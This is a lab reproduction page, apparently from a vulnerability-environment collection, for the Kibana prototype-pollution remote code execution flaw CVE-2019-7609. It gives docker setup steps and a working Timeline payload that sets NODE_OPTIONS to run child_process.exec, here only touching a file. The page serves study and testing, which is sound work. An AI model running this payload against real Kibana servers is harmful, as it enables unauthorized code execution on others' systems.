Kibana 原型鏈污染導致任意代碼執行漏洞 (CVE-2019-7609)

Path kibana/CVE-2019-7609

Kibana 為 Elassticsearch 設計的一款開源的視圖工具。其5.6.15到6.6.1之間的版本中存在一處原型鏈污染漏洞，利用這個漏洞我們可以在目標服務器上執行任意JavaScript代碼。

參考鏈接：

• https://nvd.nist.gov/vuln/detail/CVE-2019-7609
• https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
• https://slides.com/securitymb/prototype-pollution-in-kibana/#/4

漏洞環境

啟動環境前，需要先在Docker主機上執行如下命令，修改vm.max_map_count配置為262144：

sysctl -w vm.max_map_count=262144

之后，執行如下命令啟動Kibana 6.5.4和Elasticsearch 6.8.6：

docker-compose up -d

環境啟動后，訪問http://your-ip:5601即可看到Kibana頁面。

漏洞復現

原型鏈污染發生在“Timeline”頁面，我們填入如下Payload：

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

成功后，再訪問“Canvas”頁面觸發命令/bin/touch /tmp/success，可見/tmp/success已成功創建：